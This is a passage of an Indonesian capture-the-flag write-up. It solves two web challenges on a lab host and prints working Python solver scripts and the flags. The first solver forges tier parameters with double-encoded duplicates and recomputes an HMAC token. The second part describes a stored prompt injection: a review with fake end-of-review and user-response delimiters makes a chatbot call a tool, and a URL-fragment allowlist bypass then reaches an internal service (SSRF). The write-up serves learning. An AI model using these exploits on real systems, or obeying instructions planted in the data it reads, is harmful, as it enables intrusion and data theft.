Setelah akun berhasil dibuat, kita login ke V1: 

POST http://ctf.gcwug.com:2004/ 

username=<username> 

password=<password> 

Pada php_app/index.php, jika akun valid dan lolos listed(), maka server memberikan cookie: 

setcookie("catalog_ink", bin2hex(random_bytes(8)), [ 

                "expires" => $cookie_expires, 

                "httponly" => true, 

                "samesite" => "Lax", 

            ]); 

Cookie ini penting karena catalog.php membutuhkan: 
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$ink = strtolower(trim($_COOKIE["catalog_ink"] ?? "")); 

Dan harus sesuai format: 

preg_match('/^[a-f0-9]{16}$/', $ink) 

Jadi setelah login ke V1, kita harus mengambil cookie: 

catalog_ink=<16 hex chars> 

Endpoint flag: 

http://ctf.gcwug.com:2004/catalog.php 

Parameter yang dibutuhkan: 

u 

slip 

folio 

copy 

mark 

Dari lib.php: 

function shelf_slip($username) { 

    return "BP-" . strtoupper(substr(hash("sha256", "bookpass|" . strtolower($username)), 0, 

10)); 

} 

Versi Python: 

slip = "BP-" + sha256("bookpass|" + username.lower())[:10].upper() 

Dari lib.php: 

function shelf_folio($row, $slip) { 

    return substr(hash("sha256", implode("|", [ 
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        strtolower((string)$row["username"]), 

        $slip, 

        strtolower((string)$row["tier"]), 

        strtolower((string)$row["desk"]), 

    ])), 6, 10); 

} 

Karena row kita adalah Gold: 

username|slip|gold|curator 

Versi Python: 

line = "|".join([ 

    username.lower(), 

    slip, 

    "gold", 

    "curator", 

]) 

folio = sha256(line)[6:16] 

Dari lib.php: 

function shelf_copy($row, $slip, $folio) { 

    return strtoupper(substr(hash("sha256", implode("|", [ 

        $slip, 

        $folio, 

        strtolower((string)$row["stamp"]), 
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        strtolower((string)$row["aisle"]), 

        strtolower((string)$row["binding"]), 

    ])), 10, 8)); 

} 

Karena row kita: 

stamped|closed|bound 

Versi Python: 

line = "|".join([ 

    slip, 

    folio, 

    "stamped", 

    "closed", 

    "bound", 

]) 

copy = sha256(line)[10:18].upper() 

Dari lib.php: 

function old_press_stamp($row, $slip, $folio, $copy, $ink) { 

    $line = implode("|", [ 

        strtolower((string)$row["username"]), 

        $slip, 

        $folio, 

        $copy, 
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        $ink, 

        strtolower((string)$row["tier"]), 

        strtolower((string)$row["desk"]), 

        strtolower((string)$row["stamp"]), 

        strtolower((string)$row["aisle"]), 

        strtolower((string)$row["binding"]), 

    ]); 

 

    return substr(hash_hmac("sha256", $line, catalog_profile($slip)), 0, 24); 

} 

Jadi line HMAC adalah: 

username|slip|folio|copy|ink|gold|curator|stamped|closed|bound 

Key HMAC berasal dari: 

catalog_profile($slip) 

catalog_profile() membaca beberapa file .card dan catalog_profile.yml. Karena semua file ini 

ada di source, kita bisa menghitungnya ulang di solver. 

Setelah mendapatkan semua nilai: 

username 

slip 

folio 

copy 

mark 

catalog_ink cookie 
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Kita akses: 

GET /catalog.php?u=<username>&slip=<slip>&folio=<folio>&copy=<copy>&mark=<mark> 

Cookie: catalog_ink=<ink> 

Jika semua benar, response akan berisi flag: 

GCW{...} 

Berikut Solver script  

 

#!/usr/bin/env python3 

import argparse 

import hashlib 

import hmac 

import html 

import re 

import secrets 

import sys 

from urllib.parse import quote_plus 

 

import requests 

 

 

CARD_TEXTS = { 

    "blue.card": "blue shelf returns are filed beside paperback drafts and old 

register ink", 

    "returns.card": "returns drawer records every late stamp before the catalog 

window closes", 

    "binding.card": "binding desk copies damaged slips into the archive stack 

after sunset", 

    "press.card": "press room indexes bookstore marks using quiet curator batch 

numbers", 

} 

 

PROFILE = "gunadarma-bookstore-v1-premium" 

 

GOLD_ROW = { 

    "tier": "gold", 
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    "desk": "curator", 

    "stamp": "stamped", 

    "aisle": "closed", 

    "binding": "bound", 

} 

 

 

def sha256s(s: str) -> str: 

    return hashlib.sha256(s.encode()).hexdigest() 

 

 

def hide_code_for_flask_php(code: str) -> str: 

    return "".join("%25" + format(ord(c), "02X") for c in code) 

 

 

def shelf_slip(username: str) -> str: 

    return "BP-" + sha256s("bookpass|" + username.lower())[:10].upper() 

 

 

def shelf_folio(row: dict, slip: str) -> str: 

    line = "|".join([ 

        row["username"].lower(), 

        slip, 

        row["tier"].lower(), 

        row["desk"].lower(), 

    ]) 

    return sha256s(line)[6:16] 

 

 

def shelf_copy(row: dict, slip: str, folio: str) -> str: 

    line = "|".join([ 

        slip, 

        folio, 

        row["stamp"].lower(), 

        row["aisle"].lower(), 

        row["binding"].lower(), 

    ]) 

    return sha256s(line)[10:18].upper() 

 

 

def catalog_profile(slip: str) -> str: 
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    seed = int(sha256s(slip)[:2], 16) 

    parts = [] 

 

    for idx, name in enumerate(["blue.card", "returns.card", "binding.card", 

"press.card"]): 

        text = CARD_TEXTS[name].strip() 

        span = max(1, len(text) - 8) 

        off = (seed + (idx * 7)) % span 

        parts.append(text[off:off + 8]) 

 

    return sha256s("".join(parts) + "|" + PROFILE) 

 

 

def old_press_stamp(row: dict, slip: str, folio: str, copy: str, ink: str) -> str: 

    line = "|".join([ 

        row["username"].lower(), 

        slip, 

        folio, 

        copy, 

        ink.lower(), 

        row["tier"].lower(), 

        row["desk"].lower(), 

        row["stamp"].lower(), 

        row["aisle"].lower(), 

        row["binding"].lower(), 

    ]) 

 

    key = catalog_profile(slip) 

    return hmac.new(key.encode(), line.encode(), hashlib.sha256).hexdigest()[:24] 

 

 

def extract_ticket(page: str) -> str: 

    m = re.search(r'name=["\']catalog_ticket["\']\s+value=["\']([^"\']+)["\']', 

page) 

    if not m: 

        raise RuntimeError("catalog_ticket not found on V2 signup page") 

    return html.unescape(m.group(1)) 

 

 

def build_signup_body(username: str, password: str, ticket: str) -> str: 

    pairs = [ 
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        ("username", quote_plus(username)), 

        ("password", quote_plus(password)), 

 

        ("tier", "blue"), 

        ("tier", hide_code_for_flask_php("gd-24d7")), 

 

        ("desk", "reader"), 

        ("desk", hide_code_for_flask_php("cr-8f2a")), 

 

        ("stamp", "queued"), 

        ("stamp", hide_code_for_flask_php("st-4d91")), 

 

        ("aisle", "open"), 

        ("aisle", hide_code_for_flask_php("cl-71be")), 

 

        ("binding", "draft"), 

        ("binding", hide_code_for_flask_php("bd-0aa7")), 

 

        ("catalog_ticket", quote_plus(ticket)), 

    ] 

 

    return "&".join(f"{k}={v}" for k, v in pairs) 

 

 

def main(): 

    parser = argparse.ArgumentParser() 

    parser.add_argument("--v2", default="http://ctf.gcwug.com:5050") 

    parser.add_argument("--v1", default="http://ctf.gcwug.com:2004") 

    parser.add_argument("-u", "--username", default=None) 

    parser.add_argument("-p", "--password", default=None) 

    parser.add_argument("--debug", action="store_true") 

    args = parser.parse_args() 

 

    v1 = args.v1.rstrip("/") 

    v2 = args.v2.rstrip("/") 

 

    username = (args.username or ("u" + secrets.token_hex(5))).lower() 

    password = args.password or ("p" + secrets.token_hex(8)) 

 

    sess = requests.Session() 

    sess.headers.update({ 

Presented by @hackitbraw_ub 



222 

        "User-Agent": "gcw-gunadarma-bookstore-solver" 

    }) 

 

    r = sess.get(f"{v2}/signup/blue", timeout=10) 

    r.raise_for_status() 

 

    ticket = extract_ticket(r.text) 

    body = build_signup_body(username, password, ticket) 

 

    r = sess.post( 

        f"{v2}/signup/blue", 

        data=body, 

        headers={"Content-Type": "application/x-www-form-urlencoded"}, 

        allow_redirects=True, 

        timeout=10, 

    ) 

 

    if args.debug: 

        print("[debug] signup status:", r.status_code) 

        print("[debug] signup cookies:", sess.cookies.get_dict()) 

        print("[debug] signup body:", r.text[:500].replace("\n", " ")) 

 

    if r.status_code >= 400 or "Catalog portal rejected" in r.text: 

        raise RuntimeError("V2 signup failed") 

 

    r = sess.post( 

        f"{v1}/", 

        data={ 

            "username": username, 

            "password": password, 

        }, 

        timeout=10, 

    ) 

    r.raise_for_status() 

 

    cookies = sess.cookies.get_dict() 

    ink = cookies.get("catalog_ink") 

 

    if args.debug: 

        print("[debug] login status:", r.status_code) 

        print("[debug] login cookies:", cookies) 
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        print("[debug] login body:", r.text[:500].replace("\n", " ")) 

 

    if not ink: 

        raise RuntimeError("catalog_ink cookie missing") 

 

    if not re.fullmatch(r"[a-f0-9]{16}", ink): 

        raise RuntimeError(f"invalid catalog_ink: {ink}") 

 

    row = { 

        "username": username, 

        **GOLD_ROW, 

    } 

 

    slip = shelf_slip(username) 

    folio = shelf_folio(row, slip) 

    copy = shelf_copy(row, slip, folio) 

    mark = old_press_stamp(row, slip, folio, copy, ink) 

 

    flag_url = ( 

        f"{v1}/catalog.php" 

        f"?u={quote_plus(username)}" 

        f"&slip={quote_plus(slip)}" 

        f"&folio={folio}" 

        f"&copy={copy}" 

        f"&mark={mark}" 

    ) 

 

    r = sess.get(flag_url, timeout=10) 

    r.raise_for_status() 

 

    resp = html.unescape(r.text.strip()) 

    flag = re.search(r"[A-Z]{2,10}\{[^}\n]{1,120}\}", resp) 

 

    print("[+] username:", username) 

    print("[+] password:", password) 

    print("[+] slip:", slip) 

    print("[+] folio:", folio) 

    print("[+] copy:", copy) 

    print("[+] mark:", mark) 

    print("[+] flag_url:", flag_url) 

    print("[+] response:") 
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    print(resp) 

 

    if flag: 

        print("[+] FLAG:", flag.group(0)) 

 

 

if __name__ == "__main__": 

    try: 

        main() 

    except Exception as e: 

        print("[-]", e, file=sys.stderr) 

        sys.exit(1) 

 

FLAG: GCW{C0ngR4ts_K4mu_uD4h_J4d1_g0lD_M3mb3Rsh1P} 
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Gunadarma Bookbot Preview (100 Points) 
 

Gunadarma BookStore sedang merapikan katalog buku langka. 
Pembaca bisa mengunggah cover buku, sementara staf toko 
memakai BookBot untuk membantu mengecek catatan katalog. 

Salah satu staf, rutin meminta BookBot memeriksa buku tertentu 
sebelum buku itu dipindahkan ke rak khusus. 

ctf.gcwug.com:2006 

Author : -  

Jadi di challenge ini mengeksploitasi **stored prompt injection** pada review buku. Review 

yang tidak tepercaya dimasukkan ke konteks BookBot, lalu instruksi di dalam review membuat 

bot memanggil tool `SUPPLIER_PREVIEW`, dan diberikan target chall nya 

ctf.gcwug.com:2006 

URL tool tersebut juga memiliki validasi allowlist yang lemah. Domain yang diizinkan 

diletakkan di dalam URL fragment, sedangkan HTTP client sebenarnya mengakses layanan 

internal `flag-service`. Hasil pembacaan layanan internal kemudian bocor melalui endpoint 

publik `/bot-status`. 

Vulnerability :  

-> stored prompt injection -> BookBot memanggil tool  -> SSRF allowlist bypass -> akses 

flag-service internal -> hasil tampil di /bot-status. 

Maka disini langsung cek saja target website nya. 
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Jadi link `/bookbot` dan `/bot-status`. Keduanya diberikan langsung oleh aplikasi melalui 

atribut `href` pada navigation bar. 
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Katalog pada halaman yang sama menampilkan beberapa link buku, termasuk: 

html 

<a href="/books/ini-bukan-flag">Read book</a> 

<a href="/books/ini-bukan-hint">Read book</a> 

Header respons juga mengungkap teknologi backend: Server: Werkzeug/3.0.3 Python/3.11.15, 

Ini menunjukkan bahwa aplikasi kemungkinan menggunakan Flask/Werkzeug. Karena 

`/bot-status` ditemukan di navigation bar, endpoint tersebut diperiksa: 

Halaman ini dapat dibuka tanpa login dan menampilkan: 

- status BookBot; 

- event terbaru; 

- username yang meminta pemeriksaan; 

- hasil pembacaan catatan rak internal. 

Saat challenge dikerjakan, flag sudah sempat tampil karena instance digunakan bersama oleh 

peserta lain. Namun solve tetap direproduksi menggunakan akun baru, dan event akun baru 

tersebut muncul di halaman status. 

Form `/register` berisi: 

<input name="username" required pattern="[a-z0-9_]{3,24}"> 

<input name="password" type="password" required> 

<input type="hidden" name="tier" value="reader"> 

 

Percobaan langsung mengganti `tier` menjadi `staff` ditolak dengan pesan:This portal can only 

create reader accounts. 

Karena mass assignment sederhana tidak bekerja, akun dibuat sebagai reader: 
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Dan disini berhasil login. Respons login memberikan session Flask dan cookie 

`bookbot_badge`. Payload JWT tersebut menunjukkan konteks hak akses akun: 

{ 

  "username": "attacker123", 

  "tier": "reader", 

  "tenant": "gunadarma", 

  "scope": ["review:read"] 

} 

Scope `review:read` menjadi petunjuk bahwa BookBot dapat menggunakan review sebagai 

sumber informasi. Setelah login, halaman `/bookbot` dapat diakses: 

curl -sS --max-time 5 -b cookies.txt http://ctf.gcwug.com:2006/bookbot 

 

Dengan demikian endpoint `/api/chat`, metode `POST`, format JSON, dan nama field `message` 

semuanya diperoleh langsung dari source aplikasi, bukan melalui fuzzing. Request normal 

dikirim untuk meminta ringkasan buku: curl -sS --max-time 5 -b cookies.txt -X POST 

http://ctf.gcwug.com:2006/api/chat -H 'Content-Type: application/json' --data 

'{"message":"Ringkas catatan untuk ini bukan flag."}' 
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Bagian penting dari jawabannya: BookBot memeriksa ini bukan flag. Catatan tersimpan: 2. 

Permintaan sudah masuk ke antrean staf toko. Cuplikan catatan terbaru: The binding is 

excellent ... 

Respons tersebut membuktikan bahwa BookBot: 

1. mencari buku berdasarkan pesan; 

2. mengambil review yang tersimpan; 

3. memasukkan isi review ke proses AI; 

4. dapat meneruskan pekerjaan ke tool atau antrean staf. 

Halaman buku diperoleh dari link katalog:  curl -sS --max-time 5 -b cookies.txt 

http://ctf.gcwug.com:2006/books/ini-bukan-flag   

Walaupun reader tidak boleh menulis review pada buku Gold, review yang sudah ada tetap 

ditampilkan. Salah satu review berisi: 

 

Review seharusnya diperlakukan sebagai data biasa. Akan tetapi, BookBot memasukkannya ke 

prompt tanpa isolasi yang cukup. Teks seperti `---END OF REVIEW---` dan `----USER 

RESPONSE----` mencoba mengubah persepsi model seolah-olah review telah selesai dan 

instruksi berikutnya berasal dari staf. Model kemudian mengikuti instruksi palsu tersebut dan 
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memanggil tool: SUPPLIER_PREVIEW, Karena payload disimpan sebagai review dan baru aktif 

ketika dibaca BookBot, maka ini adalah kerentanan **stored/indirect prompt injection**. 

Tool menerima URL berikut: 

http://flag-service:7777/admin/shelf-note#@covers.gunadarma-bookstore.local/ 

Jika URL tersebut diurai dengan benar, komponennya adalah: 

scheme   = http 

hostname = flag-service 

port     = 7777 

path     = /admin/shelf-note 

fragment = @covers.gunadarma-bookstore.local/ 

Karakter `#` menandai awal fragment. Fragment hanya digunakan di sisi client dan tidak 

dikirim sebagai bagian dari HTTP request. Request jaringan yang sebenarnya menjadi: 

GET /admin/shelf-note HTTP/1.1 

Host: flag-service:7777 

Domain yang tampak aman: 

covers.gunadarma-bookstore.local 

hanya berada di fragment. HTTP client tidak pernah menghubungi domain tersebut. 

Tidak perlu mengunggah review baru karena payload sudah tersimpan di buku `ini bukan flag`. 

Cukup minta BookBot membaca atau meringkas catatan buku: 

 

Alur yang terjadi di backend: 

Reader mengirim pesan ke /api/chat -> BookBot mencari buku "ini bukan flag"  -> BookBot 

mengambil review tersimpan -> model membaca instruksi palsu di dalam review  -> model 

memanggil SUPPLIER_PREVIEW -> pemeriksaan string menganggap URL diizinkan  -> HTTP 
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client membuang fragment URL  -> tool mengakses http://flag-service:7777/admin/shelf-note  

-> hasil tool dicatat pada halaman status 

Dan setelah itu cek link berikut : http://ctf.gcwug.com:2006/bot-status 

dan di dapatkan flag. 

 

Dan berikut solver scriptnya. 

import re 

import secrets 

import time 

 

import requests 

 

BASE_URL = "http://ctf.gcwug.com:2006" 

TIMEOUT = 5 

 

session = requests.Session() 

username = "wu_" + secrets.token_hex(4) 

password = secrets.token_urlsafe(12) 

 

register = session.post( 

    f"{BASE_URL}/register", 

    data={ 

        "username": username, 

        "password": password, 

        "tier": "reader", 

    }, 

    timeout=TIMEOUT, 
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    allow_redirects=False, 

) 

register.raise_for_status() 

 

login = session.post( 

    f"{BASE_URL}/login", 

    data={"username": username, "password": password}, 

    timeout=TIMEOUT, 

    allow_redirects=False, 

) 

login.raise_for_status() 

 

chat = session.post( 

    f"{BASE_URL}/api/chat", 

    json={"message": "Ringkas catatan untuk ini bukan flag."}, 

    timeout=TIMEOUT, 

) 

chat.raise_for_status() 

print(chat.json()["answer"]) 

 

for _ in range(3): 

    status = session.get(f"{BASE_URL}/bot-status", timeout=TIMEOUT) 

    status.raise_for_status() 

 

    match = re.search(r"GCW\{[^}]+\}", status.text) 

    if match: 

        print(f"Flag: {match.group(0)}") 

        break 

 

    time.sleep(1) 

else: 

    raise SystemExit("Flag belum muncul pada halaman status.") 

 

FLAG: GCW{r3v13w5_dr1v3_t00l5_t0_1nt3rn4l_sh3lv35} 
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